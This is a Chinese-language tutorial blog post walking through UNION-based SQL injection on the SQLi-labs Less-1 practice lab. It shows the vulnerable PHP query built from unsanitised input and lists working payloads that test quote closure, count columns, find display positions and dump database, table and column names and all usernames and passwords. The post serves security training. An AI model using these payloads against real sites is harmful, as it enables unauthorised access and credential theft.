基於sqli-labs Less-1的sql聯合注入詳解

星海河發表於2024-09-11

SQLi Labs 是一個專為學習和測試 SQL 注入漏洞設計的實驗平臺,旨在幫助安全研究人員、開發者和網路安全愛好者深入理解並實踐各種 SQL 注入攻擊。該平臺提供了一系列精心設計的實驗環境,模擬真實的 SQL 注入場景,並配有相應的解決方案。
要搭建sqli-labs本地靶場,可參考sqli-labs搭建教程

白盒測試

要理解 SQL 注入的原理,首先需要掌握後端如何實現以下功能:透過前端接收使用者輸入引數,在資料庫中進行查詢,並將結果返回前端展示。以 SQLi Labs Less-1 為例,該實驗接受使用者輸入的 id 引數,並依據該引數查詢資料庫中的相關資訊,返回 login name 和 password。

理解此類後端程式碼並不需要深厚的 PHP 程式設計基礎,只需掌握以下關鍵程式碼即可:

$id=$_GET['id'];   // 以GET方式從前端接收id引數,並賦值給變數id
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  // 構造查詢語句,查詢id匹配的行
$result=mysql_query($sql);  // 執行查詢語句,並將結果賦給$result

此時,假如我們令引數id為第一行的程式碼,則查詢語句就會變成第二行的結果。我們在1後面新增的'和原本包裹變數$id的前面的'成對,從而使我們成功在後面加入了一個判斷,由於1不等於2,那麼查詢就會報錯。這樣,我們就有可能透過閉合前面的'來執行一些其他的操作,請看接下來的注入過程吧。

id=1' and '1'='2
SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1

黑盒測試

1. 判斷注入型別

?id=1 and 1=1 回顯
?id=1 and 1=2 回顯
?id=1' and '1'='1 回顯
?id=1' and '1'='2 錯誤
?id=1' 錯誤
?id=1'--+ 回顯
  • 為什麼要判斷注入型別:在剛才的白盒中,可以看到查詢語句中$id是被'包裹的,除了單引號,雙引號、括號等都有可能用於包裹$id,因此,必須嘗試出正確的符號來閉合包裹的符號。
  • --+:是一個註釋符,後面的程式碼將被忽略,避免後面可能存在的條件影響前面注入的結果。

2. 判斷欄位數

/?id=1' order by 1--+
/?id=1' order by 2--+
/?id=1' order by 3--+
  • order by 介紹:當我們傳入一個引數時,可能會查到多行結果,order by的作用就是將所有的資料按照第x列的資料進行排序,當第x列不存在時就會報錯,因而order by函式可以查出列數(即欄位數)
  • 為什麼要判斷欄位數:在接下來的聯合查詢形成的語句會是select * where id = 1 union select 1,2,3,聯合查詢兩個select的列數必須一致,*代表所有列,因此要先知道總列數,才能正確設定聯合查詢的列數

3. 判斷注入點

/?id=1' union select 1,2,3--+   '資料回顯,但是沒有回顯注入點
/?id=0' union select 1,2,3--+   '回顯注入點為2和3
  • 什麼是聯合查詢:就是在執行完select * where id='1'後,再執行select 1,2,3,並將結果合併,其中select 1,2,3返回一行包含三個固定值的結果,每個值分別是 1, 2, 3
  • 為什麼要判斷注入點:假設有一個表,列名(即欄位名)分別為id、name、gender...,但是該網站的設計是,輸入id,告訴你name是什麼。總結而言,雖然表中有許多列,但並不是所有列的資料都會被輸出到前端,因此必須要先尋找會被輸出的位置才能進行後續的注入。
  • 為什麼第二行修改為id=0成功回顯:在剛剛的白盒中,我並未介紹LIMIT 0,1的作用,其作用為在查詢到的所有資料中,從第0行開始,輸出1行。當id=1時,是能夠正常查詢到資料的,於是只有這一行被輸出了。因此我們將id設定為0(或者負數),使得主查詢查不到資料,後面聯合查詢的資料就能正常輸出了。

4. 拆解資料庫

/?id=0' union select 1,2,database()--+    '資料庫security

/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+         '表名emails,referers,uagents,users

/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  '欄位id,username,password

/?id=0' union select 1,group_concat(username),group_concat(password) from security.users --+ 
  • database():當前資料庫名,代替3的位置後,資料庫名就會被輸出。
  • group_concat:將得到的所有結果拼接起來並返回,如果不拼接,只會顯示查到的第一行結果。
  • information_schema:是mysql自帶的一個特殊的資料庫,它記錄了所有的表名、列名,透過它,我們就能從資料庫名一層層的拆解出我們想要資料的列名、表名,並查詢到想要的資料。
    以下為注入結果,輸出了所有使用者名稱與密碼。

之後的Less-2,3,4題都是相同的原理,只是在閉合型別上有所區分,可以自行嘗試注入。

寫在最後

網安的學習需要多動手、多除錯、多思考,簡單的跟著教程走只能學到表面的知識,無法真正理解其中的原理。只有透過不斷地實踐,遇到問題時深入分析和解決,才能提升自己的技術能力。同時,保持好奇心,多去探索不同的安全工具和技術,積極參與社群討論,分享和學習他人的經驗,才能在這個快速發展的領域中不斷進步。

相關文章